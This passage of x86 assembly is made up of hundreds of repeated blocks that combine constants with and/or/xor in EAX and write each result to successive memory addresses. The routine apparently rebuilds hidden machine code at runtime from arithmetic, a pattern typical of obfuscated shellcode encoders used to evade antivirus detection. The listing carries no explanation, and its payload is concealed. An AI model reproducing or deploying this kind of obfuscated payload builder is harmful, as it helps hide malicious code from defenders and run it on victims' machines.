or eax, 0x4d0bb04d
mov dword [ebx], eax
add ebx, edx
and eax, 0x2fbc23b5
and eax, 0x4082004
or eax, 0xb0451be0
mov dword [ebx], eax
add ebx, edx
and eax, 0x60898415
or eax, 0x1dfebce0
and eax, 0x158b2864
or eax, 0x40000119
mov dword [ebx], eax
add ebx, edx
or eax, 0x677015de
and eax, 0x345139fc
or eax, 0x88040200
mov dword [ebx], eax
add ebx, edx
and eax, 0x50934af8
and eax, 0x10878
or eax, 0x45c60105
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70f4cc1d
and eax, 0x120
or eax, 0x80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x52f4e4bd
and eax, 0x7051847b
and eax, 0x40008000
or eax, 0x87076b00
mov dword [ebx], eax
add ebx, edx
or eax, 0xdb03b29
and eax, 0xa001
or eax, 0x44
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6268897b
and eax, 0x40080000
or eax, 0x5830000
mov dword [ebx], eax
add ebx, edx
or eax, 0x60d72e68
xor eax, 0x6a3aa6b3
and eax, 0x450890
or eax, 0xa0000324
mov dword [ebx], eax
add ebx, edx
xor eax, 0x16e35eb3
and eax, 0x4820104
or eax, 0x49090870
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c1fd042
and eax, 0x3cf6a8b1
and eax, 0x808030
or eax, 0x14103c4
mov dword [ebx], eax
add ebx, edx
or eax, 0x2444be73
xor eax, 0x4a59f654
and eax, 0xb944981
or eax, 0x80600408
mov dword [ebx], eax
add ebx, edx
or eax, 0x19e729ad
xor eax, 0x59f37e91
and eax, 0xc2001014
or eax, 0x2883a441
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44b8baf9
and eax, 0x2662f749
and eax, 0x24000000
or eax, 0x90558901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19edc6dc
or eax, 0x7e24496c
and eax, 0x3b804589
or eax, 0x400002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4fa7c034
and eax, 0x46754216
and eax, 0x640004
or eax, 0x3318c841
mov dword [ebx], eax
add ebx, edx
or eax, 0x42aa592
and eax, 0x33444d83
or eax, 0x8800008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1bb08b94
xor eax, 0x26b07a0f
and eax, 0x448c00
or eax, 0x939404d
mov dword [ebx], eax
add ebx, edx
and eax, 0x675fe232
and eax, 0x11c4000
or eax, 0x8005c7
mov dword [ebx], eax
add ebx, edx
and eax, 0x53a996a3
and eax, 0x35115e9b
and eax, 0x1000000
or eax, 0xea000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70135bda
and eax, 0x98014302
or eax, 0x4448405
mov dword [ebx], eax
add ebx, edx
or eax, 0x3bb32823
and eax, 0x6040aff6
xor eax, eax
mov dword [ebx], eax
add ebx, edx
xor eax, 0x30fef4db
xor eax, 0x4e4c0e2e
and eax, 0x32a05081
or eax, 0x14c050a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3733ce3b
and eax, 0x4a147cd6
and eax, 0x141810
or eax, 0x13618445
mov dword [ebx], eax
add ebx, edx
or eax, 0x40f2b640
xor eax, 0xbce41ae
and eax, 0x1820458b
or eax, 0x23c00000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x18c861e0
and eax, 0x3280441
or eax, 0x854c804
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c3b00e0
and eax, 0x8180000
or eax, 0x7c44d8b
mov dword [ebx], eax
add ebx, edx
or eax, 0x49cc3837
and eax, 0x5c44daf
or eax, 0x80200000
mov dword [ebx], eax
add ebx, edx
and eax, 0x42eb8680
xor eax, 0x7560c41c
and eax, 0x1004088
or eax, 0x8a783441
mov dword [ebx], eax
add ebx, edx
and eax, 0xc01bd52
xor eax, 0x67861a41
and eax, 0x42822c01
or eax, 0x8001d054
mov dword [ebx], eax
add ebx, edx
and eax, 0x747f3182
and eax, 0x40010000
or eax, 0xbc548901
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5dae72ee
and eax, 0x21f8418b
or eax, 0x2040400
mov dword [ebx], eax
add ebx, edx
or eax, 0x372b1e31
and eax, 0x18916d37
and eax, 0x104801
or eax, 0x67648044
mov dword [ebx], eax
add ebx, edx
or eax, 0x7ed511ca
or eax, 0x16efa1f1
and eax, 0x3f8498b
or eax, 0x80000400
mov dword [ebx], eax
add ebx, edx
and eax, 0x354586c6
and eax, 0x74e9fca4
and eax, 0x80
or eax, 0x4d890169
mov dword [ebx], eax
add ebx, edx
and eax, 0x1cd018ac
and eax, 0xc0000a8
or eax, 0xc0558b50
mov dword [ebx], eax
add ebx, edx
and eax, 0x5e7315b1
and eax, 0x8500120
or eax, 0x33a8540b
mov dword [ebx], eax
add ebx, edx
and eax, 0x468e48d0
and eax, 0x2084000
or eax, 0x48749455
mov dword [ebx], eax
add ebx, edx
xor eax, 0x162016a1
or eax, 0x68965add
and eax, 0xcdc4089
or eax, 0x3200502
mov dword [ebx], eax
add ebx, edx
and eax, 0x33dc9a1b
and eax, 0x1cc000b
or eax, 0x882045a4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d0944e
and eax, 0x8b3c1081
or eax, 0x74c30c04
mov dword [ebx], eax
add ebx, edx
and eax, 0x18ee559b
or eax, 0x444ee735
and eax, 0x584c83b5
or eax, 0x8001084a
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f3c8a8c
or eax, 0x663b2e9d
and eax, 0x7e188c89
or eax, 0x81000100
mov dword [ebx], eax
add ebx, edx
and eax, 0x64847a3a
and eax, 0x44000808
or eax, 0x118bf7f7
mov dword [ebx], eax
add ebx, edx
or eax, 0x379b205e
and eax, 0x4fa69276
and eax, 0x1828274
or eax, 0x400188
mov dword [ebx], eax
add ebx, edx
and eax, 0x16a626c7
and eax, 0x800080
or eax, 0x8b7c5509
mov dword [ebx], eax
add ebx, edx
and eax, 0x7034941e
or eax, 0x289084e9
and eax, 0x28b41481
or eax, 0xd74b0804
mov dword [ebx], eax
add ebx, edx
or eax, 0x7d658feb
or eax, 0x69ac3ba
and eax, 0x18851bff
or eax, 0x2000
mov dword [ebx], eax
add ebx, edx
and eax, 0x74422c81
xor eax, 0x742f9023
and eax, 0x642fb8a2
or eax, 0x19d0475d
mov dword [ebx], eax
add ebx, edx
or eax, 0x1d184d73
or eax, 0x1b0724b3
and eax, 0x544d8b26
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x225f740
and eax, 0x904daf06
or eax, 0x28000009
mov dword [ebx], eax
add ebx, edx
xor eax, 0x38fbd467
and eax, 0xe3d09e3
and eax, 0x40920
or eax, 0x7dc0441b
mov dword [ebx], eax
add ebx, edx
or eax, 0x67a322a2
xor eax, 0x3a6d5fb6
and eax, 0x40000008
or eax, 0x80558b12
mov dword [ebx], eax
add ebx, edx
xor eax, 0x719a178
and eax, 0x53880bb1
and eax, 0x1000a00
or eax, 0x8801e083
mov dword [ebx], eax
add ebx, edx
xor eax, 0x588c428d
and eax, 0x41898004
or eax, 0x4024051
mov dword [ebx], eax
add ebx, edx
and eax, 0x11c7cc4f
and eax, 0x10044
or eax, 0xc0443b80
mov dword [ebx], eax
add ebx, edx
or eax, 0x69be31a0
and eax, 0x498b0964
or eax, 0x4000019
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7528bcc3
and eax, 0xa181b4
or eax, 0x1480240
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ef7a542
and eax, 0xb140480
or eax, 0x80e04909
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2115b318
and eax, 0x21bc11
or eax, 0x551a0044
mov dword [ebx], eax
add ebx, edx
or eax, 0x6fdff4e1
xor eax, 0x6f0b6e1
and eax, 0x90d4810
or eax, 0x824035c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x703b44c2
and eax, 0x94040
or eax, 0x4532b805
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3165d94a
and eax, 0x44082100
or eax, 0x83015cc0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3f9f1dd
and eax, 0x8805
or eax, 0x11040
mov dword [ebx], eax
add ebx, edx
and eax, 0x360eef58
and eax, 0
or eax, 0x7eb0000
mov dword [ebx], eax
add ebx, edx
and eax, 0xbb01e5
and eax, 0x67e05102
and eax, 0x800000
or eax, 0x1845c7
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4459c57d
and eax, 0
or eax, 0x8b000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6c3c4ea2
or eax, 0xa37f9b9
and eax, 0x4d0bcc09
or eax, 0x44
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a521bc1
and eax, 0x8000000
or eax, 0x832d7498
mov dword [ebx], eax
add ebx, edx
or eax, 0x546830bc
and eax, 0x55295014
or eax, 0x128841
mov dword [ebx], eax
add ebx, edx
and eax, 0x58254a75
xor eax, 0x232cb617
and eax, 0x3057c40
or eax, 0x882001b8
mov dword [ebx], eax
add ebx, edx
or eax, 0x30dfce66
and eax, 0x5bd40096
and eax, 0x1100004
or eax, 0x442be041
mov dword [ebx], eax
add ebx, edx
xor eax, 0x741a4967
and eax, 0x1002820
or eax, 0x8a1454d0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2e214e2c
xor eax, 0x24c20b94
and eax, 0x1232048
or eax, 0x4c08c405
mov dword [ebx], eax
add ebx, edx
or eax, 0x40972991
and eax, 0x1b2a1382
and eax, 0x9000080
or eax, 0x82157468
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e777628
and eax, 0xa5020040
or eax, 0xa0dd415
mov dword [ebx], eax
add ebx, edx
and eax, 0x5dd058a1
or eax, 0x3831820f
and eax, 0x1531c005
or eax, 0x400a0050
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a7c7eaa
and eax, 0xb013cc8
or eax, 0x80084100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7ea7745d
and eax, 0xe0820805
or eax, 0x801f440
mov dword [ebx], eax
add ebx, edx
or eax, 0x30919c72
or eax, 0x72634bad
and eax, 0xf8418901
or eax, 0x4040000
mov dword [ebx], eax
add ebx, edx
or eax, 0x31b5ddbb
and eax, 0xfdf410a9
or eax, 0x20a2240
mov dword [ebx], eax
add ebx, edx
xor eax, 0x22240483
and eax, 0xd848026a
or eax, 0x58995
mov dword [ebx], eax
add ebx, edx
and eax, 0x7588f01d
and eax, 9
or eax, 0x89c04d22
mov dword [ebx], eax
add ebx, edx
or eax, 0x69604a4e
and eax, 0x2223a8a
and eax, 0x200008
or eax, 0xffdf1485
mov dword [ebx], eax
add ebx, edx
xor eax, 0x77b187e9
and eax, 0x80448364
or eax, 0x4011089b
mov dword [ebx], eax
add ebx, edx
or eax, 0x3c68e2a8
xor eax, 0x425d504e
and eax, 0x88008281
or eax, 0x1014002
mov dword [ebx], eax
add ebx, edx
or eax, 0x1d309600
and eax, 0x9d01c001
or eax, 0x20820054
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5947630f
and eax, 0xe4c4a310
or eax, 0x1b3b5c04
mov dword [ebx], eax
add ebx, edx
or eax, 0x3cfb4919
xor eax, 0x26adadd
and eax, 0x89002500
or eax, 0x2285000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2b0c206
and eax, 0x118a404
or eax, 0x44234041
mov dword [ebx], eax
add ebx, edx
or eax, 0x56679077
and eax, 0x47097474
or eax, 0x80000980
mov dword [ebx], eax
add ebx, edx
or eax, 0x57125a7f
and eax, 0x11445
or eax, 0x8000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3082072f
xor eax, 0x67012a62
and eax, 0x7820000
or eax, 0x690000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ef3d07d
and eax, 0x904045
or eax, 0x40582
mov dword [ebx], eax
add ebx, edx
xor eax, 0x66f58b6c
and eax, 0x2000000
or eax, 0x89000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x52f47fb4
and eax, 0
or eax, 0x4d0be04d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f5201cb
and eax, 0x4bf64b45
and eax, 0x2004104
or eax, 0x89083490
mov dword [ebx], eax
add ebx, edx
and eax, 0x66daf93b
and eax, 0x83010
or eax, 0x55338845
mov dword [ebx], eax
add ebx, edx
and eax, 0x73467993
and eax, 0x1003800
or eax, 0x8a6945c4
mov dword [ebx], eax
add ebx, edx
or eax, 0x32a34259
or eax, 0x568b0b93
and eax, 0x85897845
or eax, 0x8000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f565ccd
and eax, 0x6762aa78
and eax, 0x4242a000
or eax, 0xbdbd5f10
mov dword [ebx], eax
add ebx, edx
xor eax, 0x96fe08f
and eax, 0x80900d8b
or eax, 0x9644000
mov dword [ebx], eax
add ebx, edx
or eax, 0x12bc7acc
and eax, 0x2af7fa0c
and eax, 0xaf4080c
or eax, 0xf50b0481
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a7a7203
and eax, 0x20500001
or eax, 0xd4058bfe
mov dword [ebx], eax
add ebx, edx
or eax, 0x2a5173ff
and eax, 0x8801c283
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x534e897b
xor eax, 0x289e5d0c
and eax, 0x18ad405
or eax, 0x84012050
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5084beb8
and eax, 0xd50f4a00
or eax, 0x2af0b510
mov dword [ebx], eax
add ebx, edx
or eax, 0x54b276c0
and eax, 0xd52e647
and eax, 0xd008400
or eax, 0xf20c013b
mov dword [ebx], eax
add ebx, edx
and eax, 0x3363ab32
and eax, 0x23008132
or eax, 0xc7c7ecd
mov dword [ebx], eax
add ebx, edx
xor eax, 0x51722b9d
xor eax, 0x76684d27
and eax, 0x8400901
or eax, 0x3398448a
mov dword [ebx], eax
add ebx, edx
and eax, 0x6b2124
xor eax, 0x4eaab706
and eax, 0x6608004
or eax, 0x211c4049
mov dword [ebx], eax
add ebx, edx
and eax, 0x47a5b8ef
and eax, 0x3200009
or eax, 0x30c05582
mov dword [ebx], eax
add ebx, edx
and eax, 0x35f73db5
and eax, 0x11200401
or eax, 0x441be854
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c004ea1
or eax, 0x34f3a6a9
and eax, 0x106c80
or eax, 0x8b0c1050
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1e0bbca
and eax, 0x161af1a1
and eax, 0x18c000
or eax, 0x45231c45
mov dword [ebx], eax
add ebx, edx
and eax, 0x25b89942
and eax, 0x1101840
or eax, 0x8a0464a8
mov dword [ebx], eax
add ebx, edx
or eax, 0x1db6c90e
and eax, 0x8182f04c
or eax, 0x40010001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x518b0f46
xor eax, 0xfe559ef
and eax, 0x904d8000
or eax, 0x60000901
mov dword [ebx], eax
add ebx, edx
or eax, 0x76025881
and eax, 0x22485181
or eax, 0x980040a
mov dword [ebx], eax
add ebx, edx
or eax, 0x7bbbd467
xor eax, 0x7f28dd46
and eax, 0x4130001
or eax, 0x5128f054
mov dword [ebx], eax
add ebx, edx
xor eax, 0x100b9886
and eax, 0x50f5a819
and eax, 0x102810
or eax, 0x8b0155a8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x51d2a438
and eax, 0x4003c000
or eax, 0x5382045
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa11b449
and eax, 0x75be0fba
and eax, 0x1080408
or eax, 0x8a0179e4
mov dword [ebx], eax
add ebx, edx
and eax, 0x3426913a
or eax, 0x6c9eeefe
and eax, 0x6882bc4c
or eax, 0x81010001
mov dword [ebx], eax
add ebx, edx
or eax, 0x533e39a6
and eax, 0xb80d8901
or eax, 0x4400000
mov dword [ebx], eax
add ebx, edx
or eax, 0x749311c5
or eax, 0xffdc268
and eax, 0x81f85189
or eax, 0x402
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44a12cec
xor eax, 0x7e52dc23
and eax, 0x38540
or eax, 0xd408aa
mov dword [ebx], eax
add ebx, edx
and eax, 0x225f3ee
and eax, 0x1f3133d8
and eax, 0x10100
or eax, 0xf8548800
mov dword [ebx], eax
add ebx, edx
or eax, 0x7ebfbfa8
and eax, 0x2b00588
or eax, 0x1004003
mov dword [ebx], eax
add ebx, edx
or eax, 0x165d46bc
or eax, 0x12b01b87
and eax, 0x5895805
or eax, 0x4000a040
mov dword [ebx], eax
add ebx, edx
and eax, 0x63298891
or eax, 0x3abfea58
and eax, 0xb09ea10
or eax, 0x800001a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2e44eeaa
or eax, 0x3479329e
and eax, 0x8101300c
or eax, 0x40828041
mov dword [ebx], eax
add ebx, edx
or eax, 0x38c68698
and eax, 0xb0458001
or eax, 0x80900
mov dword [ebx], eax
add ebx, edx
or eax, 0x46567585
and eax, 0x32105581
or eax, 0x9a0000a
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b6f0c7d
and eax, 0x7cd58e7d
and eax, 0x8000001
or eax, 0x850fe854
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5648926c
or eax, 0x509c03dd
and eax, 0x215
or eax, 2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6cdf542b
or eax, 0x4580fdd6
and eax, 0x1d8458a
or eax, 0x82200001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79ae5ba9
and eax, 0x40000000
or eax, 0x58901c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d9abcd
and eax, 0x10a346d4
and eax, 0x200
or eax, 0xd44d89f8
mov dword [ebx], eax
add ebx, edx
and eax, 0x55adc717
xor eax, 0x7eeaf8ad
and eax, 0x2ac44929
or eax, 0x11000402
mov dword [ebx], eax
add ebx, edx
and eax, 0xb940bf8
or eax, 0x5f8b06a
and eax, 0x17cb848
or eax, 0x10004405
mov dword [ebx], eax
add ebx, edx
and eax, 0x22e89201
and eax, 0x601001
or eax, 0x8384458a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4f5f7499
and eax, 0x4e71ca25
and eax, 0x44010000
or eax, 0x118801c2
mov dword [ebx], eax
add ebx, edx
or eax, 0x67961d91
and eax, 0x640509c0
or eax, 0x80408224
mov dword [ebx], eax
add ebx, edx
and eax, 0x5cbe75c9
and eax, 0x44040100
or eax, 0x30b84423
mov dword [ebx], eax
add ebx, edx
and eax, 0x4135d44d
xor eax, 0xc17561d
and eax, 0x44010200
or eax, 0x804c8922
mov dword [ebx], eax
add ebx, edx
and eax, 0x7515550f
xor eax, 0x376f661b
and eax, 0x1006101
or eax, 0x88018882
mov dword [ebx], eax
add ebx, edx
or eax, 0x17df01c2
xor eax, 0x7f8dc27c
and eax, 0x4002000d
or eax, 0x1589c440
mov dword [ebx], eax
add ebx, edx
xor eax, 0x556e656d
and eax, 0x452100
or eax, 0xc4101ac8
mov dword [ebx], eax
add ebx, edx
and eax, 0x64cc6445
xor eax, 0x1477c141
and eax, 0x40030101
or eax, 0x588107c
mov dword [ebx], eax
add ebx, edx
and eax, 0x48f5d80c
and eax, 0x40011004
or eax, 0x94442be0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x292b51d9
and eax, 0x34818c1c
and eax, 0x400081c
or eax, 0x498b0161
mov dword [ebx], eax
add ebx, edx
or eax, 0x1e6ce19a
and eax, 0x1c181fc
or eax, 0x200
mov dword [ebx], eax
add ebx, edx
and eax, 0x46b6463
and eax, 0x400000
or eax, 0x8bbc4d89
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78a24165
and eax, 0xe2020844
or eax, 0x881f011
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2db897e
and eax, 0xe8500101
or eax, 0x10058800
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f4c594f
and eax, 0x8344410b
or eax, 0xa00480
mov dword [ebx], eax
add ebx, edx
and eax, 0x76adf55f
and eax, 0x3e4caa53
and eax, 0
or eax, 0x458901e8
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b402160
xor eax, 0x2ff05963
and eax, 0x60090880
or eax, 0x94448364
mov dword [ebx], eax
add ebx, edx
and eax, 0x17bf3b38
and eax, 0x10900
or eax, 0x8900e083
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e9e07bf
or eax, 0x170f9512
and eax, 0x558bf40c
or eax, 0x41
mov dword [ebx], eax
add ebx, edx
or eax, 0x53efef1f
and eax, 0x44453b48
or eax, 0x80100080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x18bf099a
and eax, 0x5ddc5482
and eax, 0x44881000
or eax, 0x103297c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4c7354f6
and eax, 0x1a80d80
or eax, 0x44070264
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f48a1f0
and eax, 0x61ecd4cb
and eax, 0xc0
or eax, 0x885891c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x48d9b59
and eax, 0x8081285
or eax, 0x83f7ed7a
mov dword [ebx], eax
add ebx, edx
or eax, 0x4bda3865
and eax, 0x8989bc4d
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
and eax, 0xab7cdfa
and eax, 0x986ac33
and eax, 0x8808c00
or eax, 0xf77f7304
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ee1971e
and eax, 0x39bd99a2
and eax, 0x19c1102
or eax, 0x82404489
mov dword [ebx], eax
add ebx, edx
and eax, 0x1ebcca61
and eax, 0x880000
or eax, 0x550101ea
mov dword [ebx], eax
add ebx, edx
or eax, 0x71f6830a
or eax, 0x5ae6d3d6
and eax, 0x88583dc
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1189f797
and eax, 0x3fc45533
and eax, 0x19045403
or eax, 0x22fbabfc
mov dword [ebx], eax
add ebx, edx
and eax, 0x140bdc1d
and eax, 0x100b0405
or eax, 0xeff40080
mov dword [ebx], eax
add ebx, edx
or eax, 0x19939267
or eax, 0x314c8c30
and eax, 0x8b0c1cf7
or eax, 0x6008
mov dword [ebx], eax
add ebx, edx
or eax, 0xb16326d
and eax, 0x91a4c4d
or eax, 0x44218000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79391096
and eax, 0x4000cd0
or eax, 0x498d0324
mov dword [ebx], eax
add ebx, edx
or eax, 0x49d23deb
or eax, 0x1cc5bfb4
and eax, 0x9000001
or eax, 0x82000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x25fcb0cf
xor eax, 0x107daa2a
and eax, 0x15011845
or eax, 0x403ae010
mov dword [ebx], eax
add ebx, edx
and eax, 0x70c63ae6
and eax, 0x3844
or eax, 0x8b0c4480
mov dword [ebx], eax
add ebx, edx
or eax, 0x51328ff9
or eax, 0x2475275b
and eax, 0x453bd445
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x2fb8b65f
and eax, 0x29890618
or eax, 0x100409a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x21c0d93b
and eax, 0x9000001
or eax, 0x82000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x703c5bd2
and eax, 0
or eax, 0x4d2bf04d
mov dword [ebx], eax
add ebx, edx
or eax, 0x443984a
or eax, 0xb12be2e
and eax, 0xb087444
or eax, 0x80000080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3d880dfc
and eax, 0x14005810
or eax, 0x413b8045
mov dword [ebx], eax
add ebx, edx
or eax, 0x4fa157b4
and eax, 0xb285cd4
or eax, 0x80002008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2237f0b5
and eax, 0xa90f8441
or eax, 0x6007004
mov dword [ebx], eax
add ebx, edx
or eax, 0x113549da
or eax, 0x11e81580
and eax, 0x53bbc45
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x9a7fcba
or eax, 0x61b17527
and eax, 0x98d0dd0
or eax, 0x10000200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x44e28de
and eax, 0x4e611085
and eax, 0x8000000
or eax, 0x83000001
mov dword [ebx], eax
add ebx, edx
and eax, 0x3582ab85
xor eax, 0x3ec3b435
and eax, 0xd03b004
or eax, 0x40304849
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29153a73
and eax, 0x4040200
or eax, 0x9800dc0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x38bd3347
xor eax, 0x747b4ab2
and eax, 0x1000001
or eax, 0x8a000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x64adf17a
and eax, 0x4521d051
or eax, 0x10120004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e777b7a
and eax, 0x1040b24
or eax, 0x8004c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2cd55b7b
and eax, 0x9000001
or eax, 0x82000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2b733225
and eax, 0x133fd3ec
and eax, 0x1230004
or eax, 0x4400ec41
mov dword [ebx], eax
add ebx, edx
or eax, 0xc51fbd7
or eax, 0x6f679174
and eax, 0x65040fb4
or eax, 0x90800000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a3fa1
and eax, 0x81000000
or eax, 0xa000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3f334804
or eax, 0x56211b43
and eax, 0x44335045
or eax, 0x908a008
mov dword [ebx], eax
add ebx, edx
or eax, 0x126ef38a
and eax, 0x47674710
and eax, 0x41050300
or eax, 0xa8880cfc
mov dword [ebx], eax
add ebx, edx
and eax, 0x1477b2ac
or eax, 0x6799d037
and eax, 0x3000000
or eax, 0x88000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x16533b25
and eax, 0x2b26dc1d
and eax, 0x2000000
or eax, 0xad0fe055
mov dword [ebx], eax
add ebx, edx
or eax, 0x633f09da
and eax, 0x2da3b56f
and eax, 0x501a045
or eax, 0x90885410
mov dword [ebx], eax
add ebx, edx
and eax, 0x82a9b72
and eax, 0x89000
or eax, 0xfff76f00
mov dword [ebx], eax
add ebx, edx
and eax, 0x6fd39007
and eax, 0x9d00000
or eax, 0x800c458b
mov dword [ebx], eax
add ebx, edx
and eax, 0x4259b86c
and eax, 0x580000
or eax, 0xffa6fc85
mov dword [ebx], eax
add ebx, edx
and eax, 0x68d6e999
and eax, 0x1d3e786a
and eax, 0x40800
or eax, 0xe04983ff
mov dword [ebx], eax
add ebx, edx
and eax, 0x208a46ea
xor eax, 0x51ef5fa2
and eax, 0x1014100
or eax, 0x88008083
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b46d48c
or eax, 0xd6f666a
and eax, 0x850b604d
or eax, 0x10808000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3ebf20b8
and eax, 0x2ba9c199
and eax, 0x2ba9c000
or eax, 0xd4563f00
mov dword [ebx], eax
add ebx, edx
or eax, 0x1841840d
and eax, 0xfefc9509
or eax, 0x32
mov dword [ebx], eax
add ebx, edx
or eax, 0x73fe72a2
and eax, 0x8d0ef7bb
or eax, 0x10844
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2819dafb
or eax, 0x7ab72a98
and eax, 0x98
or eax, 0x20
mov dword [ebx], eax
add ebx, edx
or eax, 0xaadf9ea
and eax, 0x75c34e1
and eax, 0x2080080
or eax, 0x21d0450b
mov dword [ebx], eax
add ebx, edx
and eax, 0x1e6ee964
and eax, 0x84000
or eax, 0x84079c45
mov dword [ebx], eax
add ebx, edx
or eax, 0x69074be1
and eax, 0xa4
or eax, 8
mov dword [ebx], eax
add ebx, edx
and eax, 0x38beb4bf
and eax, 0x88
or eax, 0x3bd44d03
mov dword [ebx], eax
add ebx, edx
or eax, 0x445aa23e
or eax, 0x13d19dc6
and eax, 0x275cc44d
or eax, 0x200000
mov dword [ebx], eax
add ebx, edx
and eax, 0x79fcad0e
or eax, 0x29d4de3f
and eax, 0x9c8540b
or eax, 0x6000180
mov dword [ebx], eax
add ebx, edx
and eax, 0xadd0534
or eax, 0x579b6f31
and eax, 0x1bc84521
or eax, 0x2004108e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x280b7489
and eax, 0x13452004
or eax, 0x38c451
mov dword [ebx], eax
add ebx, edx
and eax, 0x2bf5be7f
and eax, 0x3740401
or eax, 0x2880418a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x175354ca
and eax, 0x4231041
or eax, 0x4118e004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x34f44d61
or eax, 0xa92ae38
and eax, 0xb083d2c
or eax, 0x800040c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x7df73700
and eax, 0x9003400
or eax, 0x443bc84d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x305cd053
and eax, 0x9002c04
or eax, 0x820850e0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x66f97ffe
and eax, 0x335425e
and eax, 0x1310010
or eax, 0x540ad845
mov dword [ebx], eax
add ebx, edx
xor eax, 0x8fed28c
and eax, 0x4fb03550
and eax, 0x9000040
or eax, 0x827d7dac
mov dword [ebx], eax
add ebx, edx
or eax, 0x37e2fdfa
and eax, 0xaf0fc844
or eax, 1
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c9d51d
or eax, 0x4deca2d5
and eax, 0x4529c045
or eax, 0x120400
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b610ae5
and eax, 0x1000044
or eax, 0x8a447cb8
mov dword [ebx], eax
add ebx, edx
or eax, 0xe042e72
and eax, 0xd00784c
or eax, 0x40238001
mov dword [ebx], eax
add ebx, edx
and eax, 0x4ecf14ab
and eax, 0x4303e0a7
and eax, 0
or eax, 0x8b3c75c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x40042494
and eax, 0x41387054
or eax, 0x14038001
mov dword [ebx], eax
add ebx, edx
or eax, 0x4449eb46
and eax, 0x1617954
or eax, 0x8a0004a0
mov dword [ebx], eax
add ebx, edx
and eax, 0x2c5d2094
and eax, 0x12004
or eax, 0x4532dc41
mov dword [ebx], eax
